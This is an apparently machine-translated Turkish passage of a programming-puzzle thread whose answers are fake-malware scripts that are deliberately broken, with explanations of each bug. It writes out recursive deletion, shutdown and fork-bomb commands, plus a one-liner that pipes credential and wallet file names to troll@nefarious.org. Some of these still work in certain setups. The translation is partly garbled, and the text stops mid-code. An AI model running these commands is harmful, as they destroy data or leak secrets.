Trolleri gezdirmek [kapalı]


184

Bir trol sizi ele geçirdi ve sizi kötü amaçlı yazılım yazmaya zorluyor (onu çalıştıran bilgisayara zarar veren bir program olarak tanımlanmaktadır). Troll kodu okuyabilir ve anlayabilir, ancak hataları tespit etmede iyi değildir.

Amacınız bir program yazmaktır:

  1. Kötü amaçlı yazılım gibi görünüyor; yani, kodu okuyan bir başlangıç ​​programcısı, kodun onu çalıştıran bilgisayara zarar verdiğine ikna olacaktır.
  2. Aslında hiç bir zararı yok.

NOT: Troll, yorumları değil sadece kodu okur. Bu yüzden kodun kendisi yeterince açık ve inandırıcı olmalıdır.

ÖRNEK (bash):

rm - rf /home

Bu örnek, rm -rf /hometüm ev klasörlerini sistemden silene benziyor , ancak aslında, rf'den önceki alan nedeniyle, bu çalışmaz ve sadece zararsız bir hata mesajına neden olur.

Bu kabul edilebilir bir çözüm ama çok iyi değil çünkü böceğin tespit edilmesi oldukça kolaydır.

Öte yandan, karmaşık ve okunamayan bir program da kötü amaçlı yazılım gibi görünmeyeceği için çok iyi bir çözüm olmayacaktır.

İyi bir çözüm, okuyucuyu kötü amaçlı yazılım olduğuna ikna edecek kadar okunabilir olmalıdır, ancak tespit edilmesi ve zararsız hale getirilmesi zor bir hata içerir.

Bu bir popülerlik yarışması, bu yüzden en fazla oy alan kod kazanıyor.


160
Beni kabuğuma yapıştırarak kandırmaya çalıştığını hissediyorum rm - rf /...
undergroundmonorail

19
Bash rm -rf /. Sistem çok eski olmadıkça gerektirecektir --no-preserve-root:)
user80551

10
-1 çünkü a) kod değiştirme ve daha da önemlisi b) Kötü amaçlı yazılım oluşturmayla ilgili herhangi bir soru için çok endişeliyim (sahte olmasına rağmen çok yakındır).
Gareth

13
@Gareth (Bugünlerde genellikle gizlenmeye ve / veya veri çalmaya çalışır), aslında herhangi bir yeni başlayan programcının çok az çabayla yazabileceği şeyleri silme denemeleri genellikle açık bir şekilde görülüyor.
Bob

29
rm - rf /geçerli bir örnek değil! rfGeçerli dizinde adı verilen bir dosyanız varsa zarar verebilir
gnibbler

Yanıtlar:


139

darbe

Ben diğer tarafa gittim. Sabit diskinizdeki her şeyi silmek yerine, onu çöple doldururum.

Bu komut dosyası bir klasör oluşturur, ardından sürekli olarak cattüm dosyaları bir araya getirir ve onları ls -aliyi bir ölçüm için (ve başlangıç ​​dosyasının bir şeyinin olması için) değerine ekleyerek yeni bir klasöre koyar .

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

dışında...

/ bin / bash / (/ bin / bash yerine) geçerli bir tercüman olma olasılığı çok düşüktür. Bu sadece ortak bir yazım hatası. "Shebang teknik olarak bir yorum olduğu için, trol bunu görmezden gelecek"


56
+1. Bir betiğin ilk satırı birçok programcı için (kendim dahil) kör bir nokta.
Erel Segal-Halevi

44
ve shebang teknik olarak bir yorumdur, bu yüzden trol bunu görmezden gelecektir
Brian Minton


37
bash whatever.sh
Numarasını

8
@Darkhogg, ne şans! Ben sakladım evil.commandtrol sadece (en azından Mac'te) açmak için çift tıklayarak böylece
James Webster

114

Haskell

Bu kılavuz sayfasını kontrol edin , removeDirectoryRecursivetüm içeriğini içeren bir dizini siler!

import System.Directory
main = return (removeDirectoryRecursive "/")

Olacağını doğru kod işlevi bir dönüş gerekiyordu kavramını şey yapmanın. dosya sisteminizi silme kavramını döndürür , ancak işlev (evet, bu bir işlevdir), argümanını bu değeri döndüren kukla kavramına sarar . Bu yüzden sürüşünüzü silme kavramını geri döndürme kavramıyla sonuçlanıyoruz. (Seni seviyorum kavramlarını seviyorum.) Haskell çalışma zamanı, döndürdüğümüz kavramı yürütür ve döndürdüğümüz değeri atar.main = removeDirectoryRecursive "/"
mainremoveDirectoryRecursive "/"return
main


85
+1. Açıklamanızı okuduktan sonra bile hatayı anlayamadım ...
Erel Segal-Halevi

3
Anladığım kadarıyla bu bir işaretçi hatası (işleve işaret etmek yerine işlevin işaretçisine işaret ediyor). Oldukça iyi, başlangıç ​​programcıları genellikle işaretçilerin hileleri için kolayca düşer.
gaborous

3
Temel olarak, bu , C'ye return removeDirectoryRecursive;zıt olana benzer olacaktır return removeDirectoryRecursive();, doğru mu?
3Doubloons 11:14

4
@ user1121352 Hayır. Fonksiyonun kendisi çağrılır, fakat saf olduğu için bir dosyayı silemez. Bunun yerine, geri mainalındığında yürütülen ve dosyayı kaldıran bir GÇ eylemi verir . returnBununla birlikte, işlevi açıkça kullanmak, amacı yalnızca değeri oluşturmak olan bir GÇ eylemi oluşturur.
39'da mniip

4
@Cthulhu'nun diğer dillerde (veya bir fonksiyondan bir değer getirerek) ile returnilgisi yoktur return. Ayrıca, tür değerlerinin IO adiğer dillerdeki işlevlerle de ilgisi yoktur. Yani analoji oldukça el dalgalı
Niklas B.

103

PHP

İşte web sitenizdeki her bir dosyayı silmeye çalışan özyinelemeli bir PHP betiği. Web sitesi oldukça büyükse, tamamlanması biraz zaman alabilir, bu yüzden sabırlı olun ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Sadece bir ufacık weeny problemi ...

PHP'de delete () komutu yoktur . Kod bu komutla karşılaşır karşılaşmaz başarısız olur, ancak hata bildirimi bu komutu ön ekleyerek @ bastırıldığı için hiçbir hata mesajı görüntülenmez . Yanıp sönen GIF görüntüsü, hiçbir şey olmadığında, bir şeylerin olduğu izlenimini verir.


31
^ bildiğim kadarıyla: delete () işlevi yoktur, kılavuz sadece bunun doğru işlevi arayan herkes için "sahte giriş" olduğunu söyler. Bu PHP'de bir çeşit "otomatik" yönlendirme olduğu anlamına gelmez.
Erti-Chris Eelmaa

93
@ user11153 trolled.
basher

34
Gördüğüm gibi, hataların göz ardı edilmesinin ve yürütmenin devam etmesinin sebebinin PHP olmasıydı.
Zoey

17
Rasgele olmayan bir işlev kullanmanın biraz açık olduğunu düşünüyorum ( deletedosyaları silmek? Bunu kimseyi kandıracağını varsaymak için bir neden yok). Nasıl yaklaşık unlⅰnkyerine (yerine “i” U + 2170 kullanır)?
Konrad Rudolph

18
@KonradRudolph deleteDosyaları silmek için adlandırılan bir işlev PHP'de tamamen inanılır. İnanılmaz olan tek şey, eğer gerçek olsaydı, bunu yapmanın 3 ya da 4 başka yolu olabilirdi; ama en garip ismine sahip olanın ciddi güvenlik kusurları olurdu.
Brendan Long,

93

Perl (Unix)

Sistemdeki tüm dosyaları siler.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Özellikleri

  • Bu geçerli bir Perl. Hatta derler ve çalışır -wve use strict!

  • C ++ 'lar gibi kelime oyunu yok delete. unlinkgerçekten bir dosyayı silme işlevidir, rmdirgerçekten bir dizini vb. siler .

  • Mutlak yol adının, göreceli yolları kullanmak amacıyla her bir dizine geçerek sistemin maksimum uzunluğunu aşabileceği derinlemesine yerleştirilmiş dizinleri doğru biçimde işler. Ayrıca, tekrarlamadan önce dizini okuduğu ve kapattığı için dizin tutamaçlarının tükenmesine neden olmaz.

Bir şeyin önceden reklamı

Unix'te, kök dizindeki ilk giriş normalde "." bu nedenle program, hafızası tükenene ve kilitleninceye kadar sonsuz bir yineleme (".") gerçekleştirir.

Ek notlar

Beklenenden daha doğru elde etmek daha zordu. Chdir yaklaşımını kullanmazsanız, sonunda çok uzun bir yol adı alırsınız. Sonra -d false döndürür ve sonsuz özyineleme bozulur ve dosyalar gerçekten silinebilir! Dizin tutamaçlarını açık tutarsanız benzer bir hata olabilir; sonunda tükenir, opendir başarısız olur, killdir döner ve silme gerçekleşmeye başlar.


45
"Sonra -d false döndürür ve sonsuz yineleme bozulur ve dosyalar gerçekten silinebilir!" Bunu zor yoldan öğrendin mi?
Niklas B.

4
@NiklasB .: Neyse ki kukla bir versiyonunu test ettim :)
Nate Eldredge

Böyle bir kodun yalnızca boş klasörleri silebileceğini ancak dosyaları
silemeyeceğini umuyorum

3
"Unix'te, kök dizindeki ilk giriş normalde". "" Dir. Yani, bir tane daha Windows sadece malware?
Alexander,

1
@ timmyRS: Program çökecek. Sistem gayet yayınlanmaya devam eder.
Nate Eldredge

81

Tek astarlı kabuk

Bu, kurbanın şifrelerini, özel anahtarlarını, bitcoin'lerini vb.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

Bir şeyin önceden reklamı:

Bu, tüm bu dosyaları trol e-postalarına gönderiyormuş gibi görünebilir, ancak aslında sadece dosya adlarını e-postayla gönderir.


4
İçeriği e-postayla göndermek için cat, headveya tailkomutlarının bir yere dahil olması gerekir.
Agi Hammerthief,

7
Ne olursa olsun hala veri sızdırıyor. Bu, trolling troll'lerini mi yapıyor?
Kyle Kelley

-exec cat '{}' \; | …
Martin,

@queueoverflow-print0 | xargs -0 cat |
quantum

1
Kodu 2-3 kez okuduktan sonra spoilerden aldım.
nyuszika7h

74

Toplu / CMD

Kayıt etmek

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

ve bilgisayardaki her bir sürücünün parametreleriyle çalıştırmalarını sağlayın.

% 0 her zaman ilk parametredir - dosya adı. Bundan sonra gerçek parametreler kümesi gelir, ancak devam etmemesi için kendisini zaten silmiş.


104
Ayrıca, Batch'in dosyayı kapatma ve her satır için bir sonraki satırı okumak için yeniden açma davranışına dayanıyor ...
Bob

8
DEL %0Dosyanın uzantısı komut satırında belirtilmedikçe ve ya komut dosyası tam yolunu vererek çalıştırılmamışsa ya da aynı dizinde olursanız çalışmaz. DEL "%~f0"Her iki sorunu da çözer ve yolun herhangi bir yerindeki boşluklara direnç gösterirdi. Ayrıca %10ve yukarı doğru da yok - bu %1bir hazır bilgi ile takip edilir 0.
Jon

14
+1. Troll "DEL% 0" ın ne yaptığını anlasa bile, onu bunun sadece kanıtları temizlediğine ikna edebilirsiniz ve toplu iş dosyası yürütülmesi sona erene kadar bellekte kaldığı için zarar vermez (bu, Bob gibi dedim).
Erel Segal-Halevi

2
Akıllıca bir trol, yanlışlıkla hataya neden olan toplu iş komut dosyalarının ne kadar önemli olduğunu hesaba katmazsanız, dosyanın başında kendini silmek için komut vermenin garip olduğunu düşünür.
Agi Hammerthief

10
@Bob, toplu işin bu kadar korkunç olduğunu ... bilmiyordum.
w4wetewtwetwet

48

JavaScript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Orijinal kötü amaçlı yazılım, bilgisayarınızı etkilemeyecek ancak can sıkıcı olabilir.

Bu zararsızdır, çünkü:

evalSonsuz döngü kırmak ve mesajı değiştirecektir.


40
Seni affederdim ama 1337 temsilcin var.
scrblnrd3

5
Yani lütfen yapma! :)
Michael M.

@scrblnd gitti D:
Riking

11
Geri dönene kadar kötü cevapları oy kullan.
David Starkey

4
Sadece başkaları için açıklamak, atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') : Aşağıdaki çalıştırır "(istenmeyen " "AŞK");" evilMessage = evilMessage.replace infiniteLoop = false"
Mohammed Joraid

45

Java

Tanrılar isteklerinizi ilettiğim için tanrılar beni affetsin, Troll.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec bir kabuk çağırmaz, bu yüzden glob genişlemesi asla gerçekleşmez ve komut başarısızlıkla "*" adlı bir giriş dizinini silmeyi deneyecek


1
Peki benim ev dizini nedir '*'? ;)
Vorac

6
Dürüst olmak gerekirse, bu daha iyi Java cevaplarından biridir. Bu, (birçok) inişten düşmenin oldukça sağlam bir şekilde anlaşılmasını gerektirir Runtime.exec(). +1.
Qix

Java'nın c'nin fonksiyonuna gerçek bir eşdeğeri var system()mı?
SuperJedi224,

@ SuperJedi224 Hayır, belirttiğiniz zorunda /bin/sh -cya cmd /cveya el neyse. Yeni bir işletim sisteminde bir komutun ne yapacağını hiçbir zaman bilemeyeceğiniz için anlamlıdır.
diğer adam,

37

C

Yapması gereken yorumları okumadığı için:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

C ++ Sürümü

Bunun için DragonLord'a teşekkürler .

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Bunu başlangıç ​​klasörüne ekleyin ve bilgisayarı yeniden başlatın.

Nasıl çalışır:

?? / bir trigraph ve yoruma sonraki satırı ekleyecektir, bu nedenle temelde hiçbir şey yapmaz. Not: denemeyin bu trigraph bazı derleyicilerde varsayılan olarak kapalı olabilir ve çalışması için açık olması gerekir.


Bazı derleyicide işe yarayabilirse, gerçek trolling mi?
Antonio Ragagnin,

4
Hayır, ama gerçek bir durumda, böyle bir kodla bir
trolle

2
@AntonioRagagnin Bu, herhangi bir derleyicide çalışıyorsa, bu derleyici buggy dosyasıdır. Ancak, modern derleyicilerin çoğu , üçlü harflerin kullanılması konusunda uyarır (ancak kodu kabul edip derleyin).
Konrad Rudolph

8
Troll yorumları okumamaktadır ve çözüm Bir yoruma kötü amaçlı yazılım yapmaktır parça varsa, bu tüm trol bir işlev görür anlamına gelmez mainile return 0?
David Starkey

1
Bu ??/gerçekten eski bir numara ... Üzgünüm.
Isiah Meadows

33

Java

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Bir kaçış karakteri kullanmak (ntoskrnl.exe'den önce \ n normal N yerine yeni bir satırdır)


20
Diğer ters eğik çizgilerden kaçmazsanız, hata daha az göze çarpabilir.
Trol

2
@ 3Doubloons Bu durumda kod derlenemez mi?
Neil

2
@Neil: İyi nokta.
Olmazdı

29
new File("C:\ntldr").delete();
Egor Skriptunoff

3
@EgorSkriptunoff XP'nin XD'nin bir çeşidi olmadığını fark etmek biraz zaman aldı.
Justin

31

BASH

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t bir komutu okuduktan ve çalıştırdıktan sonra çıkacaktır. Bu betiğin çıktısı yok ve tüm dosyalar güvende!

Veya aşağıdaki ANCAK ÇALIŞTIRMADAN ÖNCE SPOIL OKUYUN

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

Popüler talep üzerine .. #!/bin/bash -tbir komutu okuduktan ve uyguladıktan sonra çıkacak Bunu çalıştırmayın çünkü komut dosyasında ve bash -xgörmezden -tgelinir ve komutları çalıştırır.


SPOILERS Biraz kafam karıştı ... set -tve arasındaki fark exitnedir? Bash man sayfası, set -t"bir komuttan" sonra çıkacağını söylüyor ancak setkomutun kendisini bu komut olarak sayıyor ve hemen çıkıyor.
Kyle Strand

6
Ek komutlar aynı satırdaysa set -t (örneğin, noktalı virgülle veya çift ve iki boşluklu vb. İle ayrılır) uygulanır. Bu durumda, ilk satır set -t; echo "hahaha deleting files.."o metni tekrarlar ve sonra çıkar.
JOgden

2
Ah. Teşekkürler. Newline ile davranış arasında bir fark olduğunun farkında değildim ;.
Kyle Strand

4
#!/bin/bash -tbelki?
Neil

2
Öyle @JOgden (koşarsan gelmez perl aynı shebang-ayrıştırma hile yapmaz çok kötü bash perl foo.plve foo.pl ile başlar #!somethingendingin/perl -flagso ile çağrıldı gibi, perl hareket edecek -flags)
hobbs

30

piton

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

"" "üç tırnak Python'da çok satırlı bir dizge başlatır



12
Sorunu tam anlamıyla beş saniye içinde cevabı görünce gördüm ve pitonu bile bilmiyorum.
Şapkalı Adam

6
Güzel fikir, eğer trol sözdizimi vurgulu kullanıyorsa, onu farkeder.
'.

1
Sanırım ortalama trol internette rastgele kötü amaçlı bir kod görüyor ve başka bir foruma kopyalayıp yapıştırıyor.
Antonio Ragagnin

1
Güzel, Python ile deneyimledim ve hatayı görmedim. 4 alıntı kullanmak beni kandırmış olabilir.
gaborous

29

D

Bu program geçerlidir ve hatasız bir şekilde çalışır. rootDizini silen yeni bir dizide silme işlevini başlatır .

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Ama hiçbir şey silinmedi ...

Çünkü D'de, modül kapsamında bildirilen bir değişken varsayılan olarak thread-local'dir. mainFonksiyonlar için "/", ancak spawn ipler boş kopyası vardır, bu yüzden ayarlar rmdirRecurseişlev çağrılmaz.


1
İyi! Bdaki hatayı yakalamayı başardım, bilmememe rağmen D.
Erel Segal-Halevi

1
"küresel bir değişken varsayılan olarak yereldir -" Bu biraz çelişki var
Niklas B.

@NiklasB. Çelişki nedir?
biozic 13.03.2014

O zaman "global değişken" değildir. Belki de "üst seviyede ilan edilen değişken" daha iyi bir tanım olabilir mi?
Paŭlo Ebermann

Evet, düzenlendi! Daha az belirsizdir. Tamamen bir çelişki olmasa da, en azından sözcüksel olarak.
biozic 13.03.2014

25

C (Unix)

Bazı reklamlar eklemek hiç kimseye zarar vermedi.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: bu bir etikettir, etikete atlayın, sert kodu bulamazsınız. : H


5
Bunu tespit etmeyi başardım :)
Erel Segal-Halevi

17
İlk URL’deki noktalı virgül bu yazı tipinde tespit etmek oldukça kolaydır. Ama bu yaratıcı!
CompuChip

12
yardımcı olarak kabul edilen goto
drewbenn

1
Fark ettim çünkü gitmeden sonra noktalı virgül yok. Eğer goto http;//www.trolling.com;(her iki noktada) olarak değiştirdiyseniz kaçırmış olabilirim.
wchargin

2
Zaten derlemedi, çünkü printişlev yok .
nyuszika7h

24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

Hiçbir uyarı gösterilmez. JavaScript gerektirmez yana ;satırlarının sonunda, otomatik olarak sonra eklenir returnhaline return;. Sonra undefined, "nesne" yerine (aslında bir blok ifadesi olarak ayrıştırılan) sahte olan, döndürülür.


3
"Gerçekten" ve "sahte" kullanımı için +1'e ayarlandı;)
CompuChip

1
JS'deki bu "kusur" olarak +1, beni defalarca
gözümden kaçırdı ...

12
@ NigelNquande noktalı virgül başarısızlığa neden olmaz, satır sonu yapar. İade ve iade edilmesi gereken nesne ayrı satırlardadır, bu nedenle nesne asla iade edilmez. "Düzeltmek" için satır sonunu kaldırın, böylece okurreturn {
Dave Forber

3
Trolün kodu küçültmeyeceğini umuyorum!
Mohammed Joraid

2
UglifyJS diyor WARN: Dropping side-effect-free statement [-:4,11]ve geri döner function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
nyuszika7h

22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Kullanmak istediğiniz kötü tahribat eylemi için imha uyarısını değiştirin.

Bir şeyin önceden reklamı:

Her ne kadar config silinmiş gibi gözükse de ... ve öyle ! fonksiyonun içindeki 'var' bildirimi "Kaldırma" dır http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html ve sonuç olarak fonksiyona girilirken yanlıştır.


İyi numara, ama neden bayrağı sıfırladın?
Mohammed Joraid

"Sıfırlama" sadece bir örnekti ... atamanın geçerli olduğu herhangi bir değişken olabilir ... 'var' ile önceden belirtilmişse istenmeyen sonuçlar doğurabilirdi.
scunliffe

16

Java

Sadece bazı önemli dosyaları silelim!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Blok yorumunda gizli olan,} yorumun dışında bir ekstradır. Bu, dosya silme işlemini yapıcıdan önce yürütülen ayrı bir örnek başlatma bloğuna koyar. O zaman, importantFile hala boş.


16
Bunu tespit etmeyi başardım :)
Erel Segal-Halevi

17
Trolün yorumları okumaması halinde, bu çok, çok açık olacaktır.
Yaklaşan

6
"Trol yorumları okumuyor" yorumunu seçtim, "troll yorumları atlayarak benzer şekilde atlar". Bu durumda, bu iki karakterin aslında yorumun dışında olduğunu yanlışlıkla kaçırması kolay olabilir.
Joe K

1
Açıklamayı okumadan önce çözdüğüm tek kişi buydu ama iyi iş çıkardın!
nrubin29

15

Bash, C, Linux

Belki de tam olarak kötü amaçlı bir yazılım değildir, ancak kesinlikle birinin bir parçası olabilir :)

Herhangi bir linux makinesinde size kök verebilecek inanılmaz bir istismar! Şşşt, kimseye bizde olmadığını söyle!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Şimdi senaryoyu çalıştır ve sen kök ol! Kullanarak emin olabilirsiniz whoami!

Aslında, yalnızca UID = 0 olan tüm uygulamaları aldatır (bu, kök kullanıcı kimliğidir).

Kod, Lcamtuf tarafından yazılmış, kaynak: http://lcamtuf.coredump.cx/soft/ld-expl


+1. Gerçekten güzel numara. Nasıl çalıştığını hala tam olarak anlamadım.
Erel Segal-Halevi

@ErelSegalHalevi: LD_PRELOAD hakkında daha fazla ayrıntı için bkz. Stackoverflow.com/questions/426230/what-is-the-ld-preload-trick .
mik01aj

2
Yukarı Okumaya fakeroot(1)bir o (sahte) olduğuna inandırmayı arayan kandırma, çeşitli POSIX sistemi fonksiyonlarına çağrıları karşılar kütüphane okuma ve (sahte) tüm sisteme yazma erişimi olan. Aslında, aslında bu izinleri veremez (veremez), ancak program, örneğin chmodbir dosyadaki "sahte" işlevini çağırdığında ve izinleri değiştirdiğinde, fakeroot bu izinleri hatırlar, böylece statçağrılar güncellenmiş izinleri geri gönderir . Bazı dağıtımlar bunu, paket oluşturma sisteminin root:rootsahipli dosyalar oluşturmasına izin vermek için kullanır .
sleblanc

1
Ben lcamtuf's inanıyorum: lcamtuf.coredump.cx/soft/ld-expl - en azından 90'lı yıllardan beri orada olduğunu hatırlıyorum
viraptor

13

darbe

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

"Çatal-bomba" satırında bir sözdizimi hatası var. {'Den sonra bir boşluk olmalı. Bu olmadan, komut dosyası başarısız olur çünkü işlev tanımını { token kendisi tarafından takip etmez .


2
kshÇatal bombası orada sözdizimi hatası olmadığı için bunun kullanılmamasına dikkat edersiniz (belki de spoilerde) .
devnull


@Dennis: İlişkisiz, bunu görmedim. Ancak ilginç konu, dürüst olmak gerekirse. Bash'ta ayrıştırmanın nasıl çalıştığını biliyorum ve bu yüzden kullanmıyorum :-).
Konrad Borowski

11

Emacs Lisp

İlk önce basit bir tane. Bu hiçbir şey yapmaz. Aslında, şununla eşit olan öğeleri silmeye çalışıyor: geri dönen listeden özyinelemeli directory-files. Hiçbir dosyayı silmeyecek.

(delete :recursive
    (directory-files "/"))

İşte elisp veterinerleri bile güdük olabilir.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

Bu kök dizini silmekten sadece 1 karakter uzakta.

emacs lisp, jsut'a bir sembolün adı olan herhangi bir şey hakkında izin verir (değişken, fonksiyon, makro vb.). Unicode'u sembol adınızla kullanmanız uygundur ve burada olan da budur.

setqArgümanlar herhangi bir sayı alabilir (setq a 3 b 4), a = 3 yapmak gibidir; b = 4; ama (setq a 3 b)aynı zamanda geçerli ve bir = 3 yapıyor; b = sıfır;

`Setq 'nin dönüş değeri, son değişkene atanan değerdir. Örneklerde sırasıyla 4 ve sıfır.

(setq a 3 b)Kodda tam olarak ne oluyor, ancak b yerine unicode bir boşluk karakteri kullanıyorum. Nil değerini, adı Unicode karakteri olan 0x2001 olan bir değişkene atadım. Bu sıfır nedeniyle setq tarafından döndürülür ve while döngüsünün koşulu hiçbir zaman gerçek olmaz. Boşluk karakterini çıkar ve iyi sonuç verir.


10

Sadece başka bir perl korsanı.

Bunu 2002'de , Perlmonks'te takılırken ve genellikle sadece Perl hakkındaki bilgilerimi mümkün olduğunca zorlamaya çalışırken yazdım. Hiç düzenlemedi, ancak hala çalışıyor.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Doğru hatırlıyorsam BEGIN, kod kodun neresinde olursa olsun blok önce çalışır. @INCPerl'in kitaplıklarını bir alt yordamla nereden yüklediğini belirleyen yerin yerini alır (genellikle bir dizi yoldur, ancak buna izin verilir). Alt rutin aslında bazı regexp + eval magic yapan karışık veri bloğudur. Sonra, kod çarptığında require File::Path;(işe yaramazsa use), bu alt çalıştırılır ve sadece “geleneklerden başka bir perl korsanı” yazar. Kodun geri kalanına asla ulaşılmaz.


1
Vay, bu kodun ne yaptığını anlamam biraz zaman aldı (ama yağmacıyı okumadım). Bu regex çağrısı bloğunun kodunu çözdüm (bu, codegolf.stackexchange.com/a/23871/3103 adresinde kullandığım yöntemle aynı ) ve exitkomutunu nasıl içerdiğini seviyorum (bundan sonra anlamsız noktalı virgül ile, ancak önemli değil) ).
Konrad Borowski 13.03

Hehe, kendim bulmak zorunda kaldım, sonuçta 11-12 yaşlarında. Noktalı virgül muhtemelen her şeyin düzgün bir şekilde sıralanmasını sağlamak içindir.
Stoffe

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

İlk bakışta, $conditionyanlıştır, ancak =operatör önceliğe sahiptir and, bu yüzden durum doğrudur. Yani kötülük asla yapılmaz.


8

C ++ ile Yükseltme

Bu, dosya sistemindeki tüm dosyaları siler

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
